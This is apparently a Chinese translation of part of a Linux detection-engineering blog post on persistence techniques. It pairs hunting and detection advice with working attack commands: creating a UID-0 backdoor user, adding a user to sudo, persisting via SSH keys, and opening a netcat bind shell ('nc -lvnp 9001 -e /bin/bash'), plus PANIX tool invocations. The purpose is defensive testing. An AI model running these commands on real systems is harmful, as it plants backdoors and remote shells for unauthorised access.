T1136.001 - 创建帐户：后门用户创建

后门用户是专门为保持对系统的访问权限而创建或修改的用户帐户。此帐户通常具有提升的权限，并且旨在难以检测。一种方法是创建一个 UID 为 0 的用户，使其有效地成为具有 root 权限的用户。一篇名为 在 Linux 上使用 uid=0 创建后门用户 的博客文章详细介绍了这种方法。

useradd -ou 0 -g 0 -m -d /root -s /bin/bash backdoorroot
echo 'backdoorroot:password' | chpasswd

这将创建一个名为 backdoorroot 的新用户，UID 为 0，并授予其 root 权限。

T1098 - 帐户操作：用户添加到特权组

将现有用户添加到特权组（例如 sudo 组）可以提升其权限，允许他们以超级用户权限执行命令。

usermod -aG sudo existinguser

这会将 existinguser 添加到 sudo 组。

通过 T1098/T1136 建立持久性 - 帐户操作/创建

所有这些技术都可以轻松地手动执行，但它们也内置于 PANIX 中，以便您希望使用二进制文件而不是手动操作来分析日志。由于这些技术生成的事件并不是很有趣，因此我们不会单独分析它们。我们通过大量检测规则检测上述所有技术。

查找 T1098/T1136 - 帐户操作/创建

有很多方法可以查找这些技术。可以将上述检测规则添加为时间线查询以回顾更长时间段，可以解析和读取 /var/log/auth.log（以及其他 Linux 发行版上的等效文件），并且可以利用 OSQuery 从正在运行的系统中读取用户信息。通过用户/组创建和/或修改进行权限提升/持久性 查找规则包含多个 OSQuery 查询，用于查找这些技术。

T1098.004 - 帐户操作：SSH

安全 Shell (SSH) 是一种安全访问远程系统的协议。它利用公钥/私钥对对用户进行身份验证，提供了比基于密码的登录更安全的替代方案。SSH 密钥由用户安全保存的私钥和与远程系统共享的公钥组成。

用户特定 SSH 密钥文件和配置文件的默认位置如下

• ~/.ssh/id_rsa
• ~/.ssh/id_rsa.pub
• ~/.ssh/authorized_keys
• /root/.ssh/id_rsa
• /root/.ssh/id_rsa.pub
• /root/.ssh/authorized_keys

系统范围的配置位于

• /etc/ssh/

私钥保留在客户端机器上，而公钥则复制到远程服务器的 authorized_keys 文件中。这种设置允许用户在不输入密码的情况下向服务器进行身份验证。

SSH 密钥用于通过 SSH 对远程登录会话进行身份验证，并用于安全复制协议 (SCP) 和安全文件传输协议 (SFTP) 等服务，这些服务允许在机器之间进行安全的文件传输。

攻击者可以通过将他们的公钥添加到具有足够权限的用户的 authorized_keys 文件中，在受感染的主机上建立持久性。这确保了即使用户更改了密码，他们也能重新获得对系统的访问权限。这种持久性方法非常隐蔽，因为它可以使用内置的 shell 命令，这些命令通常更难以作为数据源捕获。此外，它不依赖于创建新的用户帐户或修改系统二进制文件。

通过 T1098.004 - SSH 修改实现持久性

与之前类似，PANIX 可用于通过 SSH 建立持久性。它也可以通过手动向 ~/.ssh/authorized_keys 添加新密钥，或在系统上创建新的公钥/私钥对来进行测试。如果您想测试这些技术，您可以执行以下 PANIX 命令，通过创建新密钥来建立持久性

./panix.sh --ssh-key --default
SSH key generated:
Private key: /home/user/.ssh/id_rsa18220
Public key: /home/user/.ssh/id_rsa1822.pub
[+] SSH key persistence established.

使用以下 PANIX 命令将新的公钥添加到 authorized_keys 文件中

./panix.sh  --authorized-keys --default --key <key>
[+] Persistence added to /home/user/.ssh/authorized_keys

对于文件修改事件，我们可以利用 FIM。我们已经制定了几项涵盖此技术的检测规则。

关于利用“通过文件修改实现潜在持久性”规则的说明：由于在 FIM 中使用通配符的限制，FIM 配置应进行调整，以反映您的环境的公钥/私钥和 authorized_keys 文件位置。MITRE 在 T1098.004 中提供了有关此技术的更多信息。

查找 T1098.004 - SSH 修改

查找 SSH 持久性的主要重点是新添加的公钥/私钥、与 authorized_keys 文件相关的文件更改以及配置更改。我们可以利用 OSQuery 通过 通过 SSH 配置和/或密钥实现持久性 查找中的查询来查找所有这三项。

T1059.004 - 命令和脚本解释器：绑定 shell

绑定 shell 是一种远程访问工具，允许攻击者连接到受感染的系统。与反向 shell（连接回攻击者的机器）不同，绑定 shell 侦听受感染主机上的传入连接。这允许攻击者随意连接，从而在目标机器上获得命令执行权限。

绑定 shell 通常涉及以下步骤

1. 侦听套接字：受感染的系统打开一个网络套接字并在特定端口上侦听传入连接。
2. 绑定 shell：建立连接后，系统将命令 shell（例如 /bin/bash 或 /bin/sh）绑定到套接字。
3. 远程访问：攻击者使用网络客户端（如 netcat）连接到绑定 shell，并获得对受感染系统上的命令 shell 的访问权限。

攻击者可以通过各种方式设置绑定 shell，从简单的单行命令到更复杂的脚本。以下是使用传统版本的 netcat 的绑定 shell 示例

nc -lvnp 9001 -e /bin/bash

设置绑定 shell 后，攻击者可以从他们的机器连接到它

nc -nv <target_ip> 4444

为了保持持久性，必须将绑定 shell 设置为在系统启动或重新启动时自动启动。这可以通过我们前面讨论的各种方法来实现，例如 cron、Systemd 或本 Linux 检测工程系列下一部分中讨论的方法。

MITRE 没有特定的绑定/反向 shell 技术，并且可能将绑定 shell 分类为执行技术。但是，在我们的用例中，绑定 shell 用于持久性。MITRE 在 T1059.004 中提供了有关绑定/反向 shell 的更多信息。

通过 T1059.004 - 绑定 shell 实现持久性

通过行为规则检测绑定 shell 本身就具有挑战性，因为它们的行为通常是良性的，并且与合法进程无法区分。绑定 shell 会打开一个网络套接字并等待传入连接，这是许多合法服务的常见活动。当攻击者连接时，它只会导致网络连接和 shell 会话的启动，这在系统上都是正常操作。

由于行为检测的局限性，识别绑定 shell 最可靠的方法是静态签名检测。这种方法涉及扫描文件系统或内存中与绑定 shell 关联的已知 shellcode 模式。

通过利用静态签名，我们可以比仅依赖行为分析更有效地识别和防止绑定 shell。这种方法有助于检测绑定 shell 使用的特定代码序列，无论它们的行为如何，从而确保针对这种类型的持久性机制的更强大的防御。

由于我们所有基于签名的检测都是开源的，您可以访问我们的 protections-artifacts YARA 存储库 来查看它们。如果您想在您的工具中分析此方法，您可以利用 PANIX 设置绑定 shell 并使用 nc 连接到它。为此，请执行以下命令

./panix.sh --bind-shell --default --architecture x64
[+] Bind shell /tmp/bd64 was created, executed and backgrounded.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!

查找 T1059.004 - 绑定 shell

尽管编写不会定期产生误报的可靠行为检测规则几乎是不可能的，但查找它们并非不可能。根据绑定 shell 的行为，我们知道我们可以查找长时间运行的进程、侦听端口和侦听套接字。为此，我们可以利用 OSQuery。在 通过反向/绑定 shell 实现持久性 查找规则中，有几种适用于此场景的查找。

T1059.004 - 命令和脚本解释器：反向 shell

反向 shell 用于本文中讨论的许多持久性技术中，并将在后续部分中进一步探讨。虽然在上述许多技术中没有添加用于检测反向 shell 的特定规则，但它们非常相关。为了保持一致性并确保全面覆盖，以下检测和端点规则包含在内以捕获这些持久性机制。

结论

在“Linux 检测工程”系列的这一部分中，我们研究了 Linux 持久性的基础知识。如果您错过了本系列的第一部分（重点介绍使用 Auditd 进行检测工程），您可以 在此处 补上。本文探讨了各种持久性技术，包括计划任务、systemd 服务、shell 配置文件修改、XDG 自动启动配置、SUID/SGID 二进制文件、sudoers 规则、用户和组创建/修改、SSH 密钥和 authorized_key 修改、绑定和反向 shell。

该说明不仅涵盖了每种持久性方法的运作方式，还提供了使用名为 PANIX 的简单工具配置它们的实际演示。这种实践方法使您能够使用您喜欢的安全产品测试这些技术的覆盖范围。此外，我们还讨论了每种方法的查找策略，从 ES|QL 聚合查询到使用 OSQuery 进行实时查找查询。

我们希望您觉得这种格式很有帮助。在下一篇文章中，我们将探讨在野外使用的更高级和鲜为人知的持久性方法。在那之前，祝您狩猎愉快！